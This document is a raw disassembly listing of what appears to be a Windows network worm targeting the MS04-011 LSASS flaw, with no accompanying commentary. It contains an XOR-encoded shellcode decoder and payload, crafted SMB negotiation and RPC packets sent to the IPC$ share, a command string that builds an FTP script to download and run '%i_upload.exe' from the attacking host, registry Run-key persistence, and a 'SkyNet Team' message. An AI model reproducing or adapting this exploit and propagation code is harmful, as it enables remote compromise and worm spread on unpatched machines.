		dd 72437061h, 65746165h, 0
aVirtualfree	db 'VirtualFree',0
		dd 65480000h, 72467061h, 6565h,	74520000h, 776E556Ch, 646E69h
		dd 72570000h, 46657469h, 656C69h, 754D0000h, 4269746Ch
		dd 54657479h, 6469576Fh, 61684365h, 72h, 53746547h, 6E697274h
		dd 70795467h, 4165h, 65470000h,	72745374h, 54676E69h, 57657079h
		dd 0
aGetcpinfo	db 'GetCPInfo',0
		align 4
aGetacp		db 'GetACP',0
		align 4
		dd 65470000h, 4D454F74h, 5043h,	65480000h, 6C417061h, 636F6Ch
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 65480000h, 65527061h
		dd 6F6C6C41h, 63h, 614D434Ch, 72745370h, 41676E69h, 0
aLcmapstringw	db 'LCMapStringW',0
		align 4
		dd 143h	dup(0)
dword_406000	dd 0			; DATA XREF: sub_402BB1+1Fo
dword_406004	dd 0			; DATA XREF: sub_402BB1+1Ao
dword_406008	dd 0			; DATA XREF: sub_402BB1+10o
		dd offset sub_403D5B
dword_406010	dd 0			; DATA XREF: sub_402BB1:loc_402BBCo
dword_406014	dd 0			; DATA XREF: sub_402C00+65o
dword_406018	dd 0			; DATA XREF: sub_402C00:loc_402C60o
dword_40601C	dd 0			; DATA XREF: sub_402C00+76o
dword_406020	dd 4 dup(0)		; DATA XREF: sub_402C00:loc_402C71o
off_406030	dd offset aEchoOffEchoOpe ; DATA XREF: sub_40126C+AAr
					; "echo	off&echo open %s 1023>>cmd.ftp&ech"...
; ---------------------------------------------------------------------------


loc_406034:				; DATA XREF: sub_401583+132o
					; sub_401583+1ABo
		jmp	short loc_406046

; =============== S U B	R O U T	I N E =======================================



sub_406036	proc near		; CODE XREF: sub_406036:loc_406046p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_40603E:				; CODE XREF: sub_406036+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_40603E
		jmp	short loc_40604B
; ---------------------------------------------------------------------------


loc_406046:				; CODE XREF: .text:loc_406034j
		call	sub_406036


loc_40604B:				; CODE XREF: sub_406036+Ej
		jo	short near ptr dword_405AF4+4EEh
		cwde
		cdq
		cdq
		retn
sub_406036	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_4060E4	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_401583+102o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4061CC	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_40137D+15Do
					; sub_401583+2BDo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_406258	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40137D+188o
					; sub_401583+2ECo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 0
dword_406304	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40137D+1ADo
					; sub_401583+315o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4063E4	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40137D+53o
					; sub_401583+57o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_40137D+85o
					; sub_401583+89o
		unicode	0, <C$>,0
a?????		db '?????',0
		align 8
dword_406448	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401583+369o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_4064B4	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401583+392o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_406558	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401583+3C8o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4065D8	dd offset loc_401493+2	; DATA XREF: sub_401583+3F6o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset dword_40707C
		dd 1, 0
		dd 1, 0
		dd offset dword_40707C
		dd 1, 0
		dd 1, 0
		dd offset dword_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_40666C	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401583+425o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4066D8	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401583+450o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_40674C	dd 0			; DATA XREF: sub_401583+47Eo
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 4	dup(0)
		dd 20h,	0Ch dup(0)
dword_406810	dd 1004600h		; DATA XREF: sub_401583+16Br
					; sub_401583+19Er
		dd 1, 20h, 0Ch dup(0)
		dd 7515123Ch, 2, 20h, 0Ch dup(0)
		dd 751C123Ch, 0Fh dup(0)
off_4068C8	dd offset dword_406924	; DATA XREF: sub_40219B:loc_4021F3r
					; sub_40219B+B6r
		dd offset dword_406918
off_4068D0	dd offset dword_406910	; DATA XREF: sub_401B59+1Ar
					; sub_401B59+2Dr
off_4068D4	dd offset dword_406908	; DATA XREF: sub_401B59+77r
					; sub_401B59+84r
off_4068D8	dd offset dword_406900	; DATA XREF: sub_401B59+A8r
					; sub_401B59+B5r
off_4068DC	dd offset dword_4068F8	; DATA XREF: sub_401B59+2C6r
					; sub_401B59+2D3r ...
off_4068E0	dd offset dword_4068F0	; DATA XREF: sub_401B59+184r
					; sub_401B59+191r
off_4068E4	dd offset dword_4068E8	; DATA XREF: sub_401B59+1B9r
					; sub_401B59+1C6r
dword_4068E8	dd 20303531h, 0A4B4Fh	; DATA XREF: .text:off_4068E4o
dword_4068F0	dd 20303032h, 0A4B4Fh	; DATA XREF: .text:off_4068E0o
dword_4068F8	dd 20363232h, 0A4B4Fh	; DATA XREF: .text:off_4068DCo
dword_406900	dd 20303332h, 0A4B4Fh	; DATA XREF: .text:off_4068D8o
dword_406908	dd 20313333h, 0A4B4Fh	; DATA XREF: .text:off_4068D4o
dword_406910	dd 20303232h, 0A4B4Fh	; DATA XREF: .text:off_4068D0o
dword_406918	dd 5341534Ch, 56532053h, 52h ; DATA XREF: .text:004068CCo
dword_406924	dd 7361736Ch, 652E7373h, 6578h ; DATA XREF: .text:off_4068C8o
aEchoOffEchoOpe	db 'echo off&echo open %s 1023>>cmd.ftp&echo anonymous>>cmd.ftp&echo '
					; DATA XREF: .text:off_406030o
		db 'user&echo bin>>cmd.ftp&echo get %i_upload.exe>>cmd.ftp&echo bye>>'
		db 'cmd.ftp&echo on&ftp -s:cmd.ftp&%i_upload.exe&echo off&del cmd.ftp'
		db '&echo on',0Ah,0
		align 10h
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_4010D2:loc_401140o
		align 4
asc_406A0C	db 0Dh,0Ah,0		; DATA XREF: sub_401210+40o
		align 10h
aCFtplog_txt	db 'c:\ftplog.txt',0    ; DATA XREF: sub_401210+9o
		align 10h
aSC		db '%s%c',0             ; DATA XREF: sub_40137D+1DFo
		align 4
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_40137D+20o
					; sub_401583+23o
		align 4
dword_406A34	dd 6EB06EBh, 0		; DATA XREF: sub_401583+1CCo
dword_406A3C	dd 1CEC8166h		; DATA XREF: sub_401583+Dr
dword_406A40	dd 0E4FF07h		; DATA XREF: sub_401583+18r
dword_406A44	dd 302E35h		; DATA XREF: sub_401A69+4Ao
dword_406A48	dd 312E35h		; DATA XREF: sub_401A69+27o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401B59+2E4o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_401B59+1A2o
		align 4
aI_I_I_I	db '%i.%i.%i.%i',0      ; DATA XREF: sub_401B59+173o
					; sub_401F4B+79o
word_406A68	dw 2Ch			; DATA XREF: sub_401B59+EEr
		align 4
aPort		db 'PORT',0             ; DATA XREF: sub_401B59+C6o
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_401B59+95o
		align 4
aUser		db 'USER',0             ; DATA XREF: sub_401B59+64o
		align 4
asc_406A84:				; DATA XREF: sub_401F4B+157o
		unicode	0, < >,0
a1_YourComputer	db '1. Your computer is affected by the MS04-011 vulnerability',0Dh,0Ah
					; DATA XREF: sub_4020D9+B2o
		db '2. It can be that dangerous computer viruses similar',0Dh,0Ah
		db '     the Blaster worm infect your computer',0Dh,0Ah
		db '3. Please update your computer with the MS04-011 LSASS patch',0Dh,0Ah
		db '    from the www.microsoft.com website',0Dh,0Ah
		db '4. This is an message from the SkyNet Team for',0Dh,0Ah
		db '     malicious activity prevention',0Dh,0Ah,0
		align 4
aSkynet		db 'SkyNet',0           ; DATA XREF: sub_4020D9+ADo
		align 4
aSkynetnotice	db 'SkynetNotice',0     ; DATA XREF: sub_4020D9+3Fo
		align 4
aDrvddll_exe	db 'Drvddll_exe',0      ; DATA XREF: sub_40219B+EBo
aDrvsys_exe	db 'drvsys.exe',0       ; DATA XREF: sub_40219B+DFo
		align 4
aSsgrate_exe	db 'ssgrate.exe',0      ; DATA XREF: sub_40219B+CEo
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_40219B+8Bo
		align 10h
asc_406C50:				; DATA XREF: sub_40219B+4Bo
		unicode	0, <\>,0
		align 10h
off_406C60	dd offset sub_402BEF	; DATA XREF: sub_402A24+1Cr
dword_406C64	dd 2			; DATA XREF: sub_403680+Er
					; sub_4036B9+46r
		align 10h
off_406C70	dd offset word_406C7A	; DATA XREF: sub_402900+1Er
					; sub_402B3C+12r ...
		dd offset word_406C7A
		db 2 dup(0)
word_406C7A	dw 20h			; DATA XREF: sub_403966+18r
					; .text:off_406C70o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_406E7C	dd 1			; DATA XREF: sub_402900r
		dd 2Eh,	1
dword_406E88	dd 0C0000005h		; DATA XREF: sub_402DF4+Ar
					; sub_402DF4+11o
		dd 0Bh,	0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_406F00	dd 3			; DATA XREF: sub_402CB3+58r
dword_406F04	dd 7			; DATA XREF: sub_402CB3+5Er
dword_406F08	dd 0Ah			; DATA XREF: sub_402DF4+4r
dword_406F0C	dd 8Ch			; DATA XREF: sub_402CB3+82r
					; sub_402CB3+8Fw ...
		dd 0FFFFFFFFh, 0A00h, 10h
dword_406F1C	dd 19930520h, 4	dup(0)	; DATA XREF: .text:0040357Fo
					; sub_403586+2o
dword_406F30	dd 2			; DATA XREF: sub_4036B9+Eo
					; sub_4036B9+28r
off_406F34	dd offset aR6002FloatingP ; DATA XREF: sub_4036B9+FCr
					; sub_4036B9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 405390h, 9, 405364h, 0Ah,	405340h, 10h, 405314h
		dd 11h,	4052E4h, 12h, 4052C0h, 13h, 405294h, 18h, 40525Ch
		dd 19h,	405234h, 1Ah, 4051FCh, 1Bh, 4051C4h, 1Ch, 40519Ch
		dd 78h,	40518Ch, 79h, 40517Ch, 7Ah, 40516Ch, 0FCh, 406A0Ch
		dd 0FFh, 40515Ch
byte_406FC0	db 1			; DATA XREF: sub_4036B9+1Bo
					; sub_403997+E1r
		db 2, 4, 8
		align 8
dword_406FC8	dd 3A4h			; DATA XREF: sub_403997+2Fo
dword_406FCC	dd 82798260h, 21h, 0	; DATA XREF: sub_403997+11Dr
dword_406FD8	dd 0DFA6h		; DATA XREF: sub_403997+C0r
		align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h
dword_40707C	dd 0			; DATA XREF: .text:00406624o
					; .text:00406638o ...
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4070B8	dd 3F8h			; DATA XREF: sub_403997+3Co
					; sub_403DE4+5r
		align 10h
dword_4070C0	dd 5A430D7Eh		; DATA XREF: sub_401000r
					; sub_401000+10w ...
dword_4070C4	dd 0			; DATA XREF: sub_401210w
dword_4070C8	dd 0			; DATA XREF: sub_40126C+89o
					; sub_40137D+Co ...
dword_4070CC	dd 0			; DATA XREF: sub_402770+3Br
					; sub_402770+91w
dword_4070D0	dd 0			; DATA XREF: sub_40292E+84w
					; sub_402E8F:loc_402EA1r ...
		align 8
dword_4070D8	dd 0			; DATA XREF: sub_402A24r sub_402A49r ...
		dd 3 dup(0)
dword_4070E8	dd 0A28h		; DATA XREF: sub_40292E+52w
dword_4070EC	dd 501h			; DATA XREF: sub_40292E+49w
dword_4070F0	dd 5			; DATA XREF: sub_40292E+3Ew
dword_4070F4	dd 1			; DATA XREF: sub_40292E+30w
dword_4070F8	dd 1			; DATA XREF: sub_402F48+91w
dword_4070FC	dd 0E80B00h		; DATA XREF: sub_402F48+89w
		dd 0
dword_407104	dd 0E80A80h		; DATA XREF: sub_402E8F+44w
		dd 3 dup(0)
off_407114	dd offset aCM_unpackerPac ; DATA XREF: sub_402F48+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_40711C	db 0			; DATA XREF: sub_402C00+2Dw
		align 10h
dword_407120	dd 0			; DATA XREF: sub_402C00+27w
dword_407124	dd 0			; DATA XREF: sub_402C00+4r
					; sub_402C00+8Bw
dword_407128	dd 0			; DATA XREF: sub_402CB3+3Ar
					; sub_402CB3+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_402F48:loc_402F5Fo
					; .text:off_407114o
		align 4
		dd 3Ah dup(0)
dword_407230	dd 1			; DATA XREF: sub_403195+2r
					; sub_403195+23w ...
dword_407234	dd 0			; DATA XREF: sub_403680+21r
dword_407238	dd 1			; DATA XREF: sub_40380C+26r
					; sub_40380C:loc_403876w
dword_40723C	dd 1			; DATA XREF: sub_403997:loc_403B12r
					; sub_403B30+4w ...
dword_407240	dd 0			; DATA XREF: sub_404663+3r
					; sub_404663+2Ew ...
dword_407244	dd 0			; DATA XREF: sub_404663+43w
					; sub_404663:loc_4046B2r
dword_407248	dd 0			; DATA XREF: sub_404663+4Aw
					; sub_404663+60r
		dd 2 dup(0)
dword_407254	dd 0			; DATA XREF: sub_40380C+7Br
		dd 3 dup(0)
dword_407264	dd 0			; DATA XREF: sub_40380C+A6r
					; sub_403B30+3Ar ...
		dd 0
dword_40726C	dd 1			; DATA XREF: sub_4047EE+28r
					; sub_4047EE+4Cw ...
dword_407270	dd 0			; DATA XREF: sub_403DA6r
dword_407274	dd 0			; DATA XREF: sub_404A3Dr
dword_407278	dd 10h			; DATA XREF: sub_403E1A+32w
					; sub_4044B7+5r ...
dword_40727C	dd 0			; DATA XREF: sub_403E83+239r
					; sub_403E83+259r ...
dword_407280	dd 320650h		; DATA XREF: sub_403E1A+2Dw
					; sub_403E83+310w ...
dword_407284	dd 0			; DATA XREF: sub_403E1A:loc_403E37w
					; sub_403E83+22Cr ...
dword_407288	dd 1			; DATA XREF: sub_403E1A+24w
					; sub_403E58r ...
dword_40728C	dd 320650h		; DATA XREF: sub_403E1A+15w
					; sub_403E58+8r ...
dword_407290	dd 4E4h			; DATA XREF: sub_403997+14r
					; sub_403997+65w ...
		align 10h
dword_4072A0	dd 3 dup(0)		; DATA XREF: sub_403997+123o
					; sub_403997+171o ...
dword_4072AC	dd 0			; DATA XREF: sub_403997+108w
					; sub_403997+15Dw ...
		dd 4 dup(0)
byte_4072C0	db 0			; DATA XREF: sub_403BD6:loc_403CE2w
					; sub_403BD6:loc_403CFFw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4073C0	db 0			; DATA XREF: sub_403997+5Co
					; sub_403997+AFo ...
byte_4073C1	db 0			; DATA XREF: sub_402FE1+3Fr
					; sub_402FE1+84r ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4074C4	dd 0			; DATA XREF: sub_403997+6Ew
					; sub_403997+12Bw ...
dword_4074C8	dd 320000h		; DATA XREF: sub_403472+19w
					; sub_403472+29r ...
		dd 5 dup(0)
dword_4074E0	dd 0E80EF0h		; DATA XREF: sub_4032C7:loc_4032E7w
					; sub_4032C7+45r ...
dword_4074E4	dd 3Fh dup(0)		; DATA XREF: sub_4032C7+92o
dword_4075E0	dd 20h			; DATA XREF: sub_4032C7+26w
					; sub_4032C7:loc_403351r ...
dword_4075E4	dd 1			; DATA XREF: sub_402E8F+ADw
dword_4075E8	dd 1			; DATA XREF: sub_402E37r sub_402E8F+3r ...
dword_4075EC	dd 0			; DATA XREF: sub_402C00+3Er
dword_4075F0	dd 0			; DATA XREF: sub_402C00+35r
					; sub_402C00+57r
dword_4075F4	dd 0			; DATA XREF: sub_402BB1r
dword_4075F8	dd 452340h		; DATA XREF: sub_40292E+7Aw
					; sub_402E37+Fr ...
		align 1000h
_text		ends

; Section 3. (virtual address 00018000)
; Virtual size			: 00020000 ( 131072.)
; Section size in file		: 00020000 ( 131072.)
; Offset to raw	data for section: 00018000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 418000h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		pusha
		call	sub_44083E
		popa
		jmp	sub_40292E
start		endp

; ---------------------------------------------------------------------------
		db 0
byte_41800D	db 0Dh,	77h, 90h	; DATA XREF: .bss:off_449610o
		dd 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 8000h, 6A31BC00h, 0C2AD9923h, 788EE73Ch, 598CC9BEh
		dd 0A2552135h, 7B13D24Fh, 572DF9D9h, 7E681E5Dh,	0BE1842C9h
		dd 576F5E4Dh, 0B2271DCCh, 949BEC0Ch, 0B1F4B2F2h, 649C421Bh
		dd 757BE2FAh, 2A55F560h, 282113h, 6014C00h, 7587C100h
		dd 46h,	0
		dd 0E00E000h, 2010B21h,	0B20037h, 360000h, 5C0000h, 119600h
		dd 100000h, 0D00000h, 0
		dd 100010h, 20000h, 100h, 0
		dd 400h, 0
		dd 1900000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 1800000h, 4C00h, 1500000h, 1CC00h, 6 dup(0)
		dd 1600000h, 148800h, 14h dup(0)
		dd 65742E00h, 7478h, 0B03C00h, 100000h,	0B03C00h, 40000h
		dd 3 dup(0)
		dd 2000h, 73622E60h, 73h, 5BD800h, 0D00000h, 5 dup(0)
		dd 8000h, 61642EC0h, 6174h, 1B7800h, 1300000h, 1B7800h
		dd 0B60000h, 3 dup(0)
		dd 4000h, 64692EC0h, 617461h, 1CC00h, 1500000h,	1CC00h
		dd 0D20000h, 3 dup(0)
		dd 6000h, 65722EC0h, 636F6Ch, 149000h, 1600000h, 149000h
		dd 0D60000h, 3 dup(0)
		dd 2000h, 64652E02h, 617461h, 4C00h, 1800000h, 4C00h, 0EC0000h
		dd 3 dup(0)
		dd 2000h, 40h, 65h dup(0)
		dd 1B800h, 31C30000h, 4C8B40C0h, 41F70424h, 604h, 8B0F7400h
		dd 8B082444h, 89102454h, 3B802h
		db 2 dup(0), 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_418433	proc near		; CODE XREF: .data:0041855Bp
					; .data:00418589p

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	10001006h
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_418450:				; CODE XREF: sub_418433+44j
					; sub_418433+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41847F
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41847F
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_418450
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_418450
; ---------------------------------------------------------------------------


loc_41847F:				; CODE XREF: sub_418433+2Aj
					; sub_418433+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418433	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41848D	proc near		; CODE XREF: .data:0041854Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	10001098h
		push	[ebp+arg_0]
		call	sub_4233DD
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41848D	endp

; ---------------------------------------------------------------------------
		db 0FCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	loc_418582
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4184E0:				; CODE XREF: .data:00418579j
		cmp	esi, 0FFFFFFFFh
		jz	loc_418591
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_418570
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	ds:10013034h, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	ds:10013038h, eax
		mov	eax, [edx+4]
		mov	ds:1001303Ch, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, ds:10013040h
		mov	esi, ds:10013038h
		rep movsd
		lea	edi, ds:10013040h
		mov	ds:10013038h, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_418570
		js	short loc_41857E
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41848D
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_418433
